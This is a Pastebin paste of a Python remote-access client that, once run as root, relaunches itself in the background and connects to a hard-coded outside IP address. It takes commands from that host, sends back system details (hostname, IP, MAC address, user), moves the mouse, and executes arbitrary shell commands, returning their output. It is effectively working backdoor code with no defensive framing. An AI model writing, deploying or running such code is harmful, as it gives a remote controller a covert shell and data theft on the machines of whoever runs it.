Advertisement
Guest User

Untitled

a guest
Jan 25th, 2020
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.72 KB | None | 0 0
  1. import socket
  2. import time
  3. import sys, os, pwd
  4. import json
  5. import platform
  6. import re, uuid
  7. from time import gmtime, strftime
  8.  
  9. import subprocess, os, sys
  10. if os.getuid() != 0:
  11. print("Run as root!")
  12. raise SystemExit
  13. elif not len(sys.argv) > 1:
  14. p = subprocess.Popen(['python3', 'client.py', "a142"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
  15. raise SystemExit
  16. elif sys.argv[1] != "a142":
  17. raise SystemExit
  18.  
  19. connected = False
  20. s = None
  21. log_store = []
  22.  
  23.  
  24. def log(message):
  25. log_store.append(strftime("%a, %d %b %Y %H:%M:%S", gmtime()) + ": " + message)
  26.  
  27.  
  28. try:
  29. import pyautogui
  30. except:
  31. log("Could not import PyAutoGUI: " + repr(sys.exc_info()))
  32.  
  33.  
  34. def respond(obj):
  35. if connected:
  36. s.send(json.dumps(obj).encode("utf-8"))
  37.  
  38.  
  39. def recv(size=4096):
  40. global connected
  41.  
  42. try:
  43. rdata = s.recv(size).decode("utf-8")
  44. except ConnectionResetError:
  45. connect()
  46. rdata = s.recv(size).decode("utf-8")
  47.  
  48. if rdata == "":
  49. log("Socket disconnected.")
  50. connected = False
  51. connect()
  52. return recv(size)
  53. else:
  54. return json.loads(rdata)
  55.  
  56.  
  57. def connect():
  58. global s, connected
  59. i = 0
  60. while not connected:
  61. try:
  62. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  63. s.connect(("3.10.58.31", 12321))
  64. connected = True
  65. print("\nConnected!")
  66. log("Socket connected.")
  67. except:
  68. # print(repr(sys.exc_info()))
  69. i = (i + 1) % 4
  70. print("\rConnection failed, retrying" + ("." * i) + (" " * 5), end="")
  71. time.sleep(0.5)
  72.  
  73.  
  74. connect()
  75. while True:
  76. data = recv()
  77. c = data["command"]
  78.  
  79. if c == "ping":
  80. print("Received ping")
  81. respond({"status": "success"})
  82. elif c == "log":
  83. respond(log_store)
  84. elif c == "movemouse":
  85. pyautogui.moveTo(int(data["x"]), int(data["y"]))
  86. elif c == "info":
  87. info = {}
  88. info['platform'] = platform.system()
  89. info['platform-release'] = platform.release()
  90. info['platform-version'] = platform.version()
  91. info['architecture'] = platform.machine()
  92. info['hostname'] = socket.gethostname()
  93. info['ip-address'] = socket.gethostbyname(socket.gethostname())
  94. info['mac-address'] = ':'.join(re.findall('..', '%012x' % uuid.getnode()))
  95. info['processor'] = platform.processor()
  96. info["whoami"] = pwd.getpwuid(os.getuid())
  97. respond(info)
  98. elif c == "cmd":
  99. try:
  100. respond({"response": subprocess.check_output(data["shellstring"], shell=True).decode("utf-8")})
  101. except:
  102. respond({"error": repr(sys.exc_info())})
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement